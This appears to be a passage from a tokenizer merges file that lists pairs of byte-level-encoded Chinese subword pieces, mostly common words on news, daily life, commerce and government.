+éĺ¿ å°Ķ +æľĽ çĿĢ +ä¸ī äºļ +è² ¡ +åĪ ·æĸ° +æĻļ æĬ¥ +è¿ĺæľī ä¸Ģ个 +åĨ° ç®± +ç½ij çĤ¹ +åĩº åħ· +强çĥĪ çļĦ +æĪij çĽ¸ä¿¡ +å¸ĮæľĽ èĥ½ +çīĻ é½¿ +äºĭ å®ľ +ä¸ļåĨħ 人士 +代 æĽ¿ +åıĺ å½¢ +éĽ ² +è°ĥ æİ§ +åĪĽæĸ° åĪĽä¸ļ +æĭĨ è¿ģ +æł¸ æŁ¥ +éĢ Ĺ +åħ¥ åѦ +æĦı åIJij +æı Ľ +ä¸ĭ 次 +ä¼ł è¾ĵ +ä»ĸ们 åľ¨ +èĢĮä¸Ķ è¿ĺ +æĹ¥ åľ¨ +æķĻ è®Ń +æ´» çĿĢ +çļĦ æľīæķĪ +å¤įå·¥ å¤į +å¤įå·¥å¤į 产 +æĺ¯ä¸Ģ ä»¶ +çŃī çĿĢ +å¾ © +åĭĩ æķ¢ +éģŃ åıĹ +å¥Ķ é©° +讲 座 +说 å®Į +ç»Ļ åĩº +è° ¦ +è¯Ĭ çĸĹ +çĽ² 缮 +客 è¿IJ +å°± è¿ŀ +å¼Ģ åħĥ +å¼Ģåħĥ æ£ĭçīĮ +ä¸įæĸŃ æıIJåįĩ +ç͍æĪ· çļĦ +æĴ ķ +ä¾Ľ æ°´ +ç¶ĵ æ¿Ł +ä¸Ń åĮ»èᝠ+èģĶ æĥ³ +åħ¬äº¤ 车 +èĪª çıŃ +æĬĢ è¡ĵ +å¼ķèµ· çļĦ +å° ¹ +èµĦ æ·± +åĽ½èµĦ å§Ķ +èĺ Ń +é¼» åŃIJ +éĹ ½ +æİĴ éĺŁ +è§Ĥ åħī +éģĹ åĿĢ +举 京 +é¥Ń åºĹ +ä¸įæĸŃ çļĦ +å°±æĺ¯ ä¸Ģ个 +éķ¿ ä¹ħ +çļĦ è§ĤçĤ¹ +å¨ ¶ +æĪij çİ°åľ¨ +çķ ° +å¾Ĺ åĩº +å¿ħ å®ļ +ä¸į åıĹ +åıª éľĢè¦ģ +åĽ° æī° +ç§ijåѦ æĬĢæľ¯ +çīĽ èĤī +è¾ĥ é«ĺçļĦ +è·ij æŃ¥ +æ² ¾ +èı© èIJ¨ +æľĢ å¾Į +ä¿Ŀ å¯Ĩ +æ²» å®ī +éĤ ± +常 è¯Ĩ +èĦ¸ èī² +åĮĹ å¤§ +æ±ĩ èģļ +æijĨ èĦ± +é¾Ļ头 ä¼ģä¸ļ +女 åıĭ +çŃī å·¥ä½ľ +ä¸Ń ç¾İ +èģĮ åľº +èĦij è¢ĭ +åĨĻ çļĦ +饲 æĸĻ +åĬ³ åĬ¨åĬĽ +å± ¯ +æĮģ èĤ¡ +åĽ¾ åĥı +è¿ĩåİ» äºĨ +è² ¨ +è¾ ² +éĹ® æĪij +è·Ł ä½ł +çĶŁ æŃ» +审 ç¾İ +é¢Ĺ ç²Ĵ +ä¸Ń æĸ¹ +åĬł çĥŃ +æĹħè¡Į 社 +çϼ çĶŁ +ä¸į åłª +åĤ · +æ¥ ł +åĬŀ æ¡Ī +æŁ Ħ +æĹ¢ æĺ¯ +å¤Ħ åĪĨ +羣å®ŀ çļĦ +æĬ¥ 纸 +å¸Ī çζ +å®īå¾½ çľģ +åī¯ ä¸»å¸Ń +ä¹ĭ éģĵ +导 å¼¹ +åŃ¦æł¡ çļĦ +åŁİå¸Ĥ çļĦ +è°Ī åΰ +æ¢ Ĺ +å¹³ éĿ¢ +说 ä»Ģä¹Ī +é¢ij çİĩ +éķ¿ ä¸īè§Ĵ +çļĦ åĪ©çĽĬ +é» ¨ +è±Ĩ èħIJ +å®ŀéĻħ æĥħåĨµ +æŀĹ ä¸ļ +纪æ£Ģ çĽijå¯Ł +ä½ı éĻ¢ +çļĦ æķ´ä½ĵ +åīį è¡Į +æĮ ¨ +çħ¤ çŁ¿ +å̻ è£ģ +å°ı åIJĥ +æŀģ 端 +å©Ĩ å©Ĩ +çݰ è´§ +è¯Ĺ æŃĮ +éĴ¥ åĮĻ +缩 çŁŃ +ä½Ĩ è¿Ļ +æĸ° åĵģ +è¿Ļ 对 +çŁ¥åIJį 度 +å¿ĹæĦ¿ æľįåĬ¡ +大 å±Ģ +è¡¡ éĩı +ä½ĵçݰ äºĨ +æ¡ĥ èĬ± +åIJ¸å¼ķ åĬĽ +åł ¤ +æĵħ éķ¿ +åĴ Ĵ +缸 æľº +ä¸Ģ ç«Ļ +ä¸Ģç«Ļ å¼ı +æľĢ ç¾İ +æ°¸ ä¹ħ +çļĦ éĥ¨åĪĨ +åĪĨ å·¥ +å·¥ç¨ĭ 建设 +æIJŃ è½½ +æ°´ ä¸Ń +èĮ ¨ +çļĦ æĵįä½ľ +绣 æ²» +çķħ éĢļ +åħļçļĦ åįģ +è¼ ¸ +æ¸ ¬ +ç¾İ è§Ĥ +ä¸į åĪ© +åıį æĢĿ +éªĦ åĤ² +æłĩ çļĦ +æĿĢ äºº +éĺ¿ å§¨ +é£Ł æĿIJ +åIJĥ çļĦ +åIJİ åĨį +çŁ £ +两 ä¾§ +æ¸ħ æ°´ +è¿Ľ çIJĥ +å¼Ģå§ĭ äºĨ +åIJ¬ äºĨ +çĦĬ æİ¥ +çŁ ® +å¨ Ł +为 人 +éĢģ ç»Ļ +åĨĴ éĻ© +æķ · +ç»Ī æŃ¢ +æīį çŁ¥éģĵ +è¿IJ æ°Ķ +éĢļ é£İ +æĥĬ è®¶ +ç§ijåѦ éĻ¢ +æıIJ éĹ® +太 åİŁ +缸åIJĮ çļĦ +ä» ķ +èģ ĸ +æĥħ æ³ģ +é¢Ĩ导 人 +åĩºæĿ¥ äºĨ +沿 线 +éĻ ½ +æĦŁ è¦º +ä»į åľ¨ +æ© Ļ +约 为 +åĸĿ éħĴ +ç͍ èᝠ+ä¸ĭ ä¸Ģ +æ³ķ å®ĺ +顺 åºı +åģļ ä¸Ģ个 +åĭ ¢ +æŃ ª +ç͵ ç«ŀ +ä¼´ éļıçĿĢ +ä¹ĭ åĬĽ +ä¹ĭ 人 +äºij 计ç®Ĺ +åĪ«äºº çļĦ +ç§ijåѦ åıijå±ķ +第 åħ« +å¹² æī° +女 ç¥ŀ +è¿Ļæł· åģļ +å¤Ħ åľ¨ +æ°´ è´¨ +éķ¿ æĺ¥ +å¸Ĥåľº éľĢæ±Ĥ +ç»´ æĿĥ +è̳ æľµ +æĸĩåĮĸ çļĦ +奶 ç²ī +ä¼ł è¾¾ +æīĭæľº çīĪ +æĽ¾ åľ¨ +äºĮ æľŁ +åİŁåĽł æĺ¯ +æºIJ 头 +åıĪ èĥ½ +è£ ¸ +æĬĢæľ¯ åĪĽæĸ° +æĸĩåĮĸ æĹħ游 +åıij 票 +å¹´ 级 +ä½ł ä¸į +ä¹ĭ å¿ĥ +æķ° çϾ +åIJij å¾Ģ +èĢģ å®¶ +åľĭ éļĽ +çļĦ é«ĺ度 +æľĿ éĺ³ +æ¸ħ éϤ +èĩª æľī +书 ä¸Ń +游æĪı è£ħå¤ĩ +ä¸ĩ å¤ļ +驾驶 åijĺ +ä½ł çŁ¥éģĵ +åĽ½ åºĨ +é£Ł åłĤ +æİ¥ åı£ +æĢ» æķ° +åħ¶ä»ĸ çļĦ +çĶŁåij½ çļĦ +ä½ł åľ¨ +çļĦ 缮åħī +è¿Ļ æĸ¹éĿ¢ +éĥ½ 说 +çĸĹ æ³ķ +åĭĩ 士 +åľ¨ åħ¨çIJĥ +ä¿ĿéĻ© åħ¬åı¸ +çĿ£ æŁ¥ +åĸĦ èī¯ +表 å½° +è¹ ² +è·¯ 段 +æľĥåĵ¡ è¦ı +æľĥåĵ¡è¦ı ç¯Ħ +æĪ· åŀĭ +ä¿ĥ 使 +ä¿® 建 +é«ĺ æ°´å¹³ +åģļ åĩºäºĨ +主 åľº +è¡Į èµ° +空 çϽ +æľī人 说 +è¿Ļ个 ä¸ĸçķĮ +åIJį ä¹ī +å®Į ç¾İçļĦ +羡 æħķ +åıĬ åħ¶ä»ĸ +åı¯ ç͍ +æĭ IJ +è¾ĥ 大çļĦ +æĬĢæľ¯ åĴĮ +å°¼ äºļ +çϾ è´§ +æı ī +éĢī è´Ń +éĺŁ åıĭ +ä¼ł æĦŁ +ä¼łæĦŁ åύ +åıªè¦ģ ä½ł +为ä»Ģä¹Ī è¦ģ +ä¸ĵ注 äºİ +ä½Ļ é¢Ŀ +åħ¸åŀĭ çļĦ +缮åīį å·² +欲 æľĽ +èģĶ ç»ľ +æµģ ä¼ł +çļĦ å®¶åºŃ +åı· åı¬ +çıį è´µ +ä¼Ł 大çļĦ +éī´ äºİ +è·Ł ä»ĸ +产 çī© +ä¸į å·² +è¿Ŀæ³ķ è¡Į为 +头 ä¸Ĭ +åĪĨ è§£ +åı¯ä»¥ çľĭåĩº +æł¡ åĮº +åŃĹ ä½ĵ +ä¿® çĤ¼ +çĶļèĩ³ æĺ¯ +微信 åħ¬ä¼Ĺ +åıĸ 代 +èIJ¥ä¸ļ æĶ¶åħ¥ +æ½į åĿĬ +ä½ł èĥ½ +社ä¼ļ ä¿Ŀéļľ +æ¯ĶèµĽ ä¸Ń +污水 å¤ĦçIJĨ +夫 å¦ĩ +ä¸Ģ å¹ħ +沿 æµ· +åı£ æĦŁ +ä½Ĩ åį´ +å½ĵ æĹ¥ +çļĦ æľĢ大 +æ¯ı ä¸Ģä½į +没 äºĭ +çī¹ åĪ¥ +å¼Ģ åѦ +è·¯ éĿ¢ +å¿ĥçIJĨ åѦ +æĶ¾ ç½® +éĩįåºĨ å¸Ĥ +ä½ł èĩªå·± +æ¶Īè´¹èĢħ çļĦ +ä¸Ģ æ³¢ +èѦ æĥķ +å᧠室 +注 å°Ħ +é£İ 鼨 +沿 çĿĢ +åijĬ 訴 +表 çݰåĩº +åĽĽ æĺ¯ +åı¤ åħ¸ +æĽ´ éĩįè¦ģçļĦ +好 äºĭ +çľ¼ 泪 +æ¨ ĵ +审 åΤ +碰 æĴŀ +车 ç«Ļ +è¿Ľåħ¥ äºĨ +éĽĨ åIJĪ +æł¼ å¤ĸ +宾 é¦Ĩ +æĶ¯ä»ĺ å®Ŀ +她 æĺ¯ +æĺ¯ å¦Ĥä½ķ +人 次 +çļĦ æĪIJåĬŁ +æĹł åĬĽ +æµ· æĭĶ +æĺ¥ åŃ£ +éĥ½ ä¸įä¼ļ +çŃī å¤ļç§į +ä¸Ģ个 å°ı +åģľè½¦ åľº +让 æĽ´å¤ļ +è¿Ļ çĤ¹ +æĪIJ åĵģ +éĴ ī +éģĩ è§ģ +çıŃ ä¸»ä»» +æĦı æĦ¿ +çļĦ åIJĮåѦ +游 è§Ī +åİĭ 缩 +åľ¨ ä¼łå¥ĩ +å¼¹ æĢ§ +æĹ¥ åĨħ +ç¦ı建 çľģ +è§Ĵ èIJ½ +åĪĨ å¼Ģ +ä¼ļ 让 +å¤ĸ åĽ´ +çĨŁæĤī çļĦ +çĨ Ķ +ä¸ĩ è¾Ĩ +å¤ľ éĹ´ +车 身 +ä¸Ń æľŁ +å®ĮåĸĦ çļĦ +åĵģ ç±» +åıĭ è°Ĭ +éĢīæĭ Ķ +éªij 士 +å½ ¦ +çļĦ çľĭæ³ķ +åĽ½ çİĭ +è¾£ æ¤Ĵ +åıijå¸ĥ æĹ¶éĹ´ +åı¤ åŁİ +éļı æľº +ç« ĸ +å¼Ģ è¾Ł +ä¼Ĺ çĶŁ +没 åĬŀæ³ķ +åįĥ éĩĮ +æĿ¥æºIJ äºİ +çļĦ æĿĥåĪ© +æ¯Ķ åĪĨ +满æĦı çļĦ +ä¿® è¡Į +åĿ ł +大 æµ· +èİ ¹ +åĩº 身 +è« ĩ +åħ³ èĬĤ +åIJį 人 +éľĢè¦ģ 注æĦı +æĹ© æĻ¨ +å¤ĸ åįĸ +åıĪ è¦ģ +æ¶ī æ¡Ī +çĶ³è¯· 人 +éĻĦè¿ij çļĦ +åĬłå¿« æİ¨è¿Ľ +æĸ° å¹´ +大 è¡Ĺ +ä¸Ģ é»ŀ +èĭı å®ģ +æĤĦ æĤĦ +èĦ¾ æ°Ķ +å¸Į èħĬ +éļı åį³ +æķ¢ äºİ +å®ŀè·µ ä¸Ń +æĺ¯ 没æľī +æľīè¶£ çļĦ +æĿ¥èĩª äºİ +è£ģ åΤ +女 åŃ©åŃIJ +èĩ³ åħ³ +èĩ³åħ³ éĩįè¦ģ +æĻº åĬĽ +èµ° åĩºåİ» +çŁŃ æĿ¿ +大 åĽ½ +çļĦ 认è¯Ĩ +å¹´ å¤ľ +åĨį åΰ +åIJĮ æł·çļĦ +å¯Ĩ å°ģ +å¤ĸ交 éĥ¨ +çĶŁ æķĪ +æĤ¨ åı¯ä»¥ +ä½ł åĢij +è¿ĩ å¹´ +å¼ ĵ +è¡Į æĿİ +æ¯Ķ èµ· +身 é«ĺ +è¿Ļ个 人 +ä¸Ń å¤ĸ +éģĵ æŃī +çĽ¯ çĿĢ +亲 åŃIJ +éĹ ¸ +çϽ äºij +èĦĸ åŃIJ +ä¸ĢåĪĩ éĥ½ +æ· ij +è° ľ +åģ¶ çĦ¶ +éĿł è°± +é«ĺ 管 +ä¸ĭ åıij +æĶ¾ åΰ +ç±» åĪ« +ä¸ĭ åĪĹ +æ·· ä¹± +åIJĪæ³ķ æĿĥçĽĬ +çݯ çIJĥ +æľīæķĪ åľ° +åķĨ æĪ· +æ¹ĸ 人 +æµ· 岸 +æĬķ 产 +两 个æľĪ +éĥ½ éĿŀ常 +å¢ŀ强 äºĨ +æĿ¥ åΰäºĨ +åī© ä½Ļ +æĤ¨çļĦ åŃ©åŃIJ +æµģ æ°´ +æŃ£ ä¹ī +天 çĮ« +åģļ è¿ĩ +ä½ķ æĹ¶ +æĪij åİ» +çľģ 份 +å¥ĸ éĩij +该 å¦Ĥä½ķ +ä¸ĭ çıŃ +åģ¶ åĥı +æijĨ æĶ¾ +æĸ° 模å¼ı +æĬķ è³ĩ +è·¯ åı£ +åĨľæ°ij å·¥ +大 åѸ +ä»¶ äºĭ +æł¹æľ¬ ä¸į +æµĵ 度 +æµĵ åİļ +è½® èĥİ +æĪ¿ ä¼ģ +éĿŀ常 好 +ä»İ ä¸Ń +人 æł¼ +ç¿ ģ +æĹ¶éĹ´ åĴĮ +è¿Ļ ä¸įæĺ¯ +åΏ åķĨ +æĥĬ 人 +åύ å®ĺ +åĩĨ åĪĻ +æĥħ æĻ¯ +æĽ´ é«ĺçļĦ +åѦ å®¶ +泡 沫 +åľ°æĸ¹ æĶ¿åºľ +å°± çŁ¥éģĵ +åij¼ åIJģ +ç»ı è´¸ +èĬ± éĴ± +æľī ä¸Ģ次 +æĦŁ æħ¨ +ä¸Ģ åįĥ +å¤ľ æĻļ +詹 å§Ĩ +詹å§Ĩ æĸ¯ +è¦ģ éĹ» +ç» Ĵ +æºIJ äºİ +çļĦ è´¨éĩı +注æĦı äºĭ项 +æħ¢ æĢ§ +稳å®ļ çļĦ +建设 åĴĮ +æĻ¯ 象 +éĩı åĮĸ +çļĦ 話 +è¯Ħ 级 +æº ľ +红 åĮħ +éĢļ éģİ +社ä¼ļ 责任 +æĸ° 产åĵģ +åĨ· éĿĻ +çľĭ ä¸įåΰ +èģĶ éĤ¦ +éŃ Ħ +çļĦ åīįæıIJ +çļĦåīįæıIJ ä¸ĭ +è¾ĥ 好 +çļĦ æĦŁæĥħ +客æĪ· æıIJä¾Ľ +çĭ¬ èĩª +å¢ŀ æĶ¶ +æĸĩ çĮ® +æĭ¼ åij½ +管çIJĨ åĴĮ +æµģåĬ¨ æĢ§ +åħ¨ å®¶ +ä¸Ĭ æĸ¹ +æİ¨åĩº çļĦ +ä¸ī åĽ½ +ä¸Ģ个 æĺ¯ +æĸ° ä¸Ģè½® +æĸĩåĮĸ éģĹ产 +æ® º +大 æ¹¾åĮº +éĥ½ éľĢè¦ģ +çļĦ å®ŀéĻħ +ç· Ĭ +大 å¥ĸ +åħī èĬĴ +便 äºİ +çļĦ 表æĥħ +æ¼Ķ ç»İ +红 åĨĽ +å½ĵ æĪij +æ²» æĦĪ +é¢Ŀ 度 +éĿ ľ +ä»»ä½ķ 人 +è¡Ĺ 头 +çī¹ æĸ¯ +çĸ¯ æĭī +åĮ»çĸĹ æľºæŀĦ +ç»Ļ åŃ©åŃIJ +è§Ħ 磩 +è£ ľ +çļĦ 身影 +ä¸ĵ æłı +æĿ¥ 临 +ç«¥ å¹´ +å¤į èĭı +è¨ Ĥ +åŀĭ åı· +åĽ¾ æ¡Ī +ç®Ģ åİĨ +æĭ ± +èį· åħ° +ä»» æĦı +æī¿ æİ¥ +è¿Ļ æīį +客 车 +æľĿ çĿĢ +éłħ 缮 +åı° é£İ +çļĦ æĪ¿åŃIJ +éª ı +æĿ± 西 +éģĹ ä¼ł +è¶Ĭ å¤ļ +äºĨ ä»ĸçļĦ +ä¸Ĭ åij¨ +管çIJĨ åĪ¶åº¦ +失 ä¸ļ +çĶ· åıĭ +æİ¥ ç§į +å¨ģ åIJį +çĴ° å¢ĥ +åıijçĶŁ åľ¨ +个 åĽ½å®¶ +åĪĽæĸ° åıijå±ķ +æĶ¹åıĺ äºĨ +åģ¥åº· çļĦ +å̼å¾Ĺ ä¸Ģ +å̼å¾Ĺä¸Ģ æıIJ +åĽ¢ ä¼Ļ +åģĩ 设 +åı° ä¸Ĭ +è§ĦèĮĥ åĮĸ +éĻª åIJĮ +座 æ¤ħ +åı¯ æĢľ +åħĭæĢĿ 主ä¹ī +æ³ķå¾ĭ 责任 +ä¸Ģ é¡¿ +æĬ¬ 头 +为 éĩįçĤ¹ +è¿ľ æ´ĭ +éĢı è¿ĩ +åħ¨çIJĥ åĮĸ +è¶£ åij³ +票 æĪ¿ +æ¯ı 人 +åIJĦç§į åIJĦæł· +äºĨ åĩºæĿ¥ +ç»Ŀ对 æĺ¯ +ä¸ĭ å±ŀ +ä¸Ģ åıĮ +è¿Ļ åĿĹ +æĬĹ çĸ« +è¦ģ çĤ¹ +å½¢æĪIJ çļĦ +æĪij çľĭ +ä¸ĩ éĩĮ +èĢĥ çłĶ +为 åħ¶ +æ°ij 宿 +å¤ļ ä½į +大 èĩ´ +ä»ĺ è´¹ +åħ¥ æīĭ +å±ħ å®¶ +æīĢåľ¨ åľ° +人 身 +è¿ĩ å¾Ĺ +è¯ķ è¯ķ +访 è°Ī +åĬł éĩį +å°± ä¸įä¼ļ +çĶŁäº§ ä¼ģä¸ļ +åĽŀ åĽ½ +åºķ 线 +èµ¶ åΰ +æĶ¯ éĺŁ +æĪij们 éĥ½ +éĤ® æĶ¿ +缴 èĩ³ +éĴ¢ çIJ´ +åħ ľ +çłĶ讨 ä¼ļ +æľĪ 亮 +åĿļæĮģ 以 +åħ¬å®ī éĥ¨ +éĴ¢ 管 +å°ı çϽ +ç½® ä¸ļ +èģ ĭ +书 åĨĻ +æĿ ı +éħį æĸ¹ +èĢĮ åıĪ +çijŀ 士 +çķĮ çļĦ +èĢģ 大 +æĪIJçĨŁ çļĦ +å¹² ä»Ģä¹Ī +ä¸ĵ项 æĸĹäºī +çŃī å¤ļ个 +èĦ± 离 +ä¸ī 个æľĪ +çłĶç©¶ åijĺ +æĹĭ 转 +æŀģ èĩ´ +åħį è´£ +åħįè´£ 声æĺİ +å¾Īå¤ļ çݩ家 +车 ä¸Ĭ +交 äºĴ +å·² æĺ¯ +ä¸Ģ å°ı +çļĦ éĩįçĤ¹ +èĬ± äºĨ +ä¸į æĺİ +æľīåħ³ è§Ħå®ļ +çĬ¹ å¦Ĥ +çľ ¸ +å¯ ¡ +çļĦ è¡£æľį +åĮħ 裹 +身 åŃIJ +å¸ĪèĮĥ 大åѦ +äºĭ åħĪ +线 æĿ¡ +æ³ķ åζ +åħ» æĬ¤ +稳å®ļ æĢ§ +éĤ µ +åŀĦ æĸŃ +é¡ į +èĢĥ åı¤ +æĿł æĿĨ +èĭı èģĶ +æ°´ ç͵ +åħ·ä½ĵ çļĦ +æ¿Ģ æ´» +æĪij æł¡ +åĪļ å¼Ģå§ĭ +åĩ¸ æĺ¾ +ç¦ ¾ +åħ¼ èģĮ +éĢı éģİ +åľ¨ 游æĪıä¸Ń +社ä¼ļ åıijå±ķ +好 çİ© +å¹» æĥ³ +ä¸į 代表 +注æĦı åĬĽ +æ£ į +ç͍ æīĭ +ç¾İ 人 +许å¤ļ 人 +å¾Ī æĺ¯ +çļĦ çłĶåıij +æīĵ åĩº +åIJĪä¼Ļ 人 +ä¸Ģ å¤ľ +ç¼ĵ ç¼ĵ +ä¿® æŃ£ +æĦŁ çŁ¥ +ç»Ī 身 +æ¿Ģ ç´ł +çݯå¢ĥ ä¸ĭ +次 ä¼ļè®® +ç»ıæµİ å¢ŀéķ¿ +æī Ľ +åıij éħµ +åĪĨæŀIJ å¸Ī +åľ¨ æľªæĿ¥ +主è¦ģ æľī +ä¸Ģ åŃ£åº¦ +çļĦ 说æ³ķ +ä»İæĿ¥ 没æľī +è´§ 车 +缩 å°ı +太 è¿ĩ +æķĪ åĬĽ +ä¸į ä¸ĭ +æĬķ 稿 +èᝠä¸ļ +ç»Ħ éķ¿ +ç«Ļ çĤ¹ +å¾Ī åĸľæ¬¢ +éIJ µ +åĬ¿ 头 +æ¼ı æ´ŀ +æĦ¤ æĢĴ +åħħ å®ŀ +åĪĽä¸ļ æĿ¿ +çĪ ª +æľª å¿ħ +åºķ éĥ¨ +å¾Ĺ åĪĨ +人æ°ij åĮ»éĻ¢ +äºĮæīĭ æĪ¿ +å·²ç»ı 被 +大 楼 +æĸ° æĪ¿ +辦 æ³ķ +ç͍ åĬĽ +æĭĵ 宽 +åĨħ åľ¨ +æĴŃ åĩº +饰 æ¼Ķ +ä¹Ł 让 +ä½ľ çĤº +çī©ä¸ļ 管çIJĨ +åį´ ä¸į +为 ä¸ŃåĽ½ +å±Ģ åĬ¿ +ä¸į èĤ¯ +æľĢ æĸ°çļĦ +åı¯ä»¥ éĢīæĭ© +æĺ¾ çݰ +å°± ç®Ĺæĺ¯ +åľ¨ æł¡ +é¾ Ł +两 æĿ¡ +çļĦ å®ŀåĬĽ +è¶Ĭ 好 +她 åľ¨ +å¿ł è¯ļ +ä¹Ł éľĢè¦ģ +游æĪı æĵįä½ľ +è¶ħ åĩº +å¦Ĥæŀľ ä¸į +æīĢåľ¨ çļĦ +ä½ł è¿ĺ +以 åĨħ +æľī ä¸Ģå®ļ +åı¯ è¾¾ +è·ij åΰ +åī Ľ +建ç«ĭ åģ¥åħ¨ +æķ´ 车 +åīį æĸ¹ +éĹ´ æİ¥ +çѹ å¤ĩ +çĸ² åĬ³ +离 å¼ĢäºĨ +æ± Ŀ +éĿ¢ éĥ¨ +ä¹ĭåīį çļĦ +åıĺ 为 +å¦Ĥæŀľ 说 +对 ä»ĺ +åĿĩ åı¯ +被åijĬ 人 +ç²¾ ç¾İ +èģļ ä¼ļ +çĿĢ æĢ¥ +è°· æŃĮ +ä¸Ģ åı· +红 åĪ© +ä¼łå¥ĩ 游æĪı +å» ĸ +è´ ŀ +ä¹° åΰ +éŃ ļ +ä½ĵ è´¨ +å°ij äºĨ +æ³ī å·ŀ +åIJ Ł +ç»Ŀ ä¸į +é»ij æģ¶ +é»ijæģ¶ åĬ¿åĬĽ +ä¸Ĭ æĺł +çļĦè¯Ŀ é¢ĺ +ä¸ĩ人 次 +ä¸ĸ éĹ´ +ç͍ å·¥ +è´¯ ç©¿ +å®Ŀ çŁ³ +ä½ł 好 +åĪĩ åī² +强 åĽ½ +åĽŀ èIJ½ +æ°´ æĻ¶ +模 仿 +æ´ª æ°´ +éĢĻ éº¼ +åįģä¸ī äºĶ +ä½ ij +éĻ Ħä»¶ +çļĦ å¢ŀéķ¿ +éĻĦ å±ŀ +çݰ å·² +帮 ä½ł +éĩij çīĮ +é«ĺ åİŁ +åľ¨ å®¶éĩĮ +éĺ² èħIJ +ç¡®å®ŀ æĺ¯ +宣 讲 +天 æīį +ç»ıèIJ¥ 管çIJĨ +éĶħ çĤī +åIJĪ ä¸Ģ +è§Ĥ èµı +éķ¿ è¾¾ +主ä¹ī æĢĿæĥ³ +éĤ£ 麼 +é£İ äºij +为主 çļĦ +æļij åģĩ +æĮģ ä¹ħ +å¼Ĥ åľ° +å¼Ģ éŨ +模 æĿ¿ +æī¹ 次 +ä¸į 便 +天 çĶŁ +åĩł 个æľĪ +ä¸ĵ ç§ij +åı¦ æľī +åħ¬å¸ĥ çļĦ +æĩ · +åľº åIJĪ +çļĦå¿ĥ æĢģ +è¿ĺ 好 +å®ŀ æĪĺ +èĢģå¸Ī çļĦ +åħ© åĢĭ +åı¯ åľ¨ +éĤ£ ä½į +å¥ł å®ļäºĨ +ä¿ĥ éĶĢ +æı´ åĬ© +ä¸ĩ çī© +æĥħ æĬ¥ +é¦ĸåħĪ è¦ģ +æĸĩåĮĸ åĴĮ +éĥ½ å·²ç»ı +ä¸Ĭ ä¸ĸ纪 +åĨľ åľº +大 æī¹ +æĺİçϽ äºĨ +çļĦ æĪIJéķ¿ +çļĦ æ¯ĶèµĽ +失 误 +åģļ æĪIJ +ä»Ĭ天 å°ıç¼ĸ +é¢Ĩ è¢ĸ +æıIJåįĩ äºĨ +å¾IJ å·ŀ +ä»į æľī +è¿ĩ 滤 +å¹½ é»ĺ +çĥŃ éĩı +ä¸Ģ é¦ĸ +æ¼Ĥ亮 çļĦ +åĩł ç§į +åĢ¡ è®® +å°±åı¯ä»¥ äºĨ +æİĴ åĪĹ +éĩį éĩį +ä¼ģä¸ļ åĴĮ +ä¸ĵ å±ŀ +çħ İ +亲 æĪļ +çϾåĪĨ ä¹ĭ +稿 ä»¶ +è¿ĺ å¾Ĺ +人 åĵ¡ +äºī 夺 +æĽ´ 容æĺĵ +大 èĩªçĦ¶ +鼻 èħ¦ +太 空 +åľ° å¤Ħ +å¤ ¢ +ä»ĸ 对 +å¿ħ å°Ĩ +ä¸į å½ĵ +严 è°¨ +åĩº åľº +å·²ç»ı æľī +é¢Ĩ åĨĽ +é«ĺ æ¡£ +ä¸Ģ æīĢ +æł Ĺ +让 åѦçĶŁ +æĽ¹ æĵį +æŁIJ ä¸Ģ +伸 åĩº +èĬ± åįī +æ¸ħ éĨĴ +èģĶç³» æĸ¹å¼ı +åĪĨ å±Ģ +èħ ³ +æ©¡ èĥ¶ +éķ¿ å¾Ĺ +绿 åľ° +è¢ į +çļĦ èīºæľ¯ +女 æľĭåıĭ +ä¸Ń è¶ħ +离 åŃIJ +å¤ļæł· åĮĸ +éĺ³ åı° +ä½İ 碳 +ä¸Ģ ç±» +çŃīæĸ¹éĿ¢ çļĦ +å¾Ĺ 好 +模 åħ· +ä¸ĩ 亿 +çķĻ æĦı +临 æ²Ĥ +å°ij éĩı +çľĭ åIJij +ç»ıèIJ¥ èĢħ +çķĻä¸ĭ äºĨ +åĿı äºĨ +åijĬ åĪ« +羣 çIJĨ +ç¼´ è´¹ +æĬĬ ä½ł +çļĦ ä»»åĬ¡ +æĪij 对 +ä¹° åħ¥ +çĻ» ä¸Ĭ +æľī 两个 +ä¸Ģ 头 +æĵį æİ§ +åħ¨ è¦ĨçĽĸ +çĿĢ æīĭ +å¢Ļ éĿ¢ +å¤ļ æĸ¹ +åı¯çα çļĦ +ä¹Ł åı¯èĥ½ +æľĢ æľī +è¿ĻäºĽ éĥ½æĺ¯ +æĥ ¡ +å® ® +å¾Ī å°ı +éĹ®é¢ĺ æĺ¯ +åĿĩ æľī +å¾ģ éĽĨ +说 åĩº +æľī æĦı +é¢ Ĥ +æī¬ å·ŀ +åķĨä¸ļ 模å¼ı +çĶŁ èĤĸ +æįIJ 款 +å² Ĥ +ç¾İ æĻ¯ +è¿ĺ 羣 +æĭ¥ æĬ± +身ä½ĵ åģ¥åº· +æ·± å¤Ħ +çľ¼ ç¥ŀ +çļĦ 形象 +ä¼ĺ è¶Ĭ +å½ĵ æĪIJ +åĮº åĪĨ +åİ» éϤ +注 å®ļ +å§IJ 妹 +åĮº åĨħ +é© ļ +æļĹ ç¤º +æĺİ äº® +æħ° éĹ® +å¸Ĥåľº 份é¢Ŀ +çĮª èĤī +çļĦ èµĦéĩij +åİĨ ç»ı +å§ĭç»Ī åĿļæĮģ +çĶŁ æľº +ä¸į 顾 +éĩij åĪļ +大 声 +éĻķ 西çľģ +é² į +åĨľä¸ļ åĨľæĿij +æľī 害 +éŨ è¯Ĭ +æ¯ı ä¸Ģ次 +çļĦ åĽłç´ł +é¢Ŀ å¤ĸ +åİ¿ 级 +çļĩ åIJİ +åĽ½ ä¼ģ +é¦ĸ éĢī +ç¼ĸ åĨĻ +æĭ¿ èµ· +åģ· åģ· +ä¸İ ä¸ŃåĽ½ +åįĸ å®¶ +ç»Ļ ä»ĸ们 +ç¥ŀ è¯Ŀ +åѸ æł¡ +æĪij ä¸Ģ缴 +çŁ¥éģĵ äºĨ +åį Ĵ +åĴĮ åľ°åĮº +ä»Ģä¹Ī éĥ½ +çĶ» å®¶ +æľ¬ çĿĢ +ä½Ļ åIJį +审 çIJĨ +ä¸Ģ åIJij +åıijå±ķ è¶ĭåĬ¿ +åĮº éĹ´ +注åĨĮ èµĦæľ¬ +çIJ ¦ +ä¸į åı¯ä»¥ +çļĦ åĦ¿åŃIJ +å̼ çıŃ +ä¸¥æł¼ çļĦ +å®ŀä½ĵ ç»ıæµİ +æľī æĿĥ +æĪij åıĪ +éĵ¶ æ²³ +ç«ĭ 马 +æĿĢ äºĨ +åĮħ 容 +管 å®¶ +身 é«Ķ +éĵ ħ +å°ı åŃIJ +管çIJĨ ç³»ç»Ł +æľīçļĦ 人 +é£İ ç͵ +æĻºèĥ½ åζéĢł +ç²¾ ç¡® 